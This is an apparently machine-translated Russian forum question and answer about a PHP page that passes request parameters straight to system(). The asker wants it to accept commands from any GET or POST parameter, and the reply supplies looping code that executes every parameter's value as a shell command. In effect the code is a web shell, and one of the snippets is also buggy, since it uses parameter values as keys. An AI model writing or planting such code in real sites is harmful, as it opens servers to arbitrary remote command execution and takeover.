Я пытаюсь сделать уязвимость при выполнении простой команды страницы … Это мой код:
system($_GET['cmd']);
Работает нормально, вот так: HTTP: //example/index.php CMD = Ls
Проблема в том, что я хочу, чтобы этот маленький код работал с любым параметром и любым методом (GET или POST).
Например, если какой-либо параметр используется, он все равно будет проходить через системный метод, то есть: «? Hello = ls». (Я не знал, где их использовать hello
как ключ. Есть идеи?
Вы можете сохранить каждый индексный ключ в массиве, а затем зациклить установленное значение.
$keys = ['cmd', 'hello', 'etc..']; // jus add your params
// GET params
foreach($keys as $_key) {
if(isset($_GET[$_key]) && !empty($_GET[$_key])) {
system($_GET[$_key]);
}
}
// POST params
foreach($keys as $_key) {
if(isset($_POST[$_key]) && !empty($_POST[$_key])) {
system($_POST[$_key]);
}
}
Если вы не хотите знать ключ к POST / GET, то:
foreach($_GET as $key) {
system($_GET[$key]);
}
foreach($_POST as $key) {
system($_POST[$key]);
}
Вы можете попробовать использовать:
file_get_contents('php://input');
чтобы получить RAW вход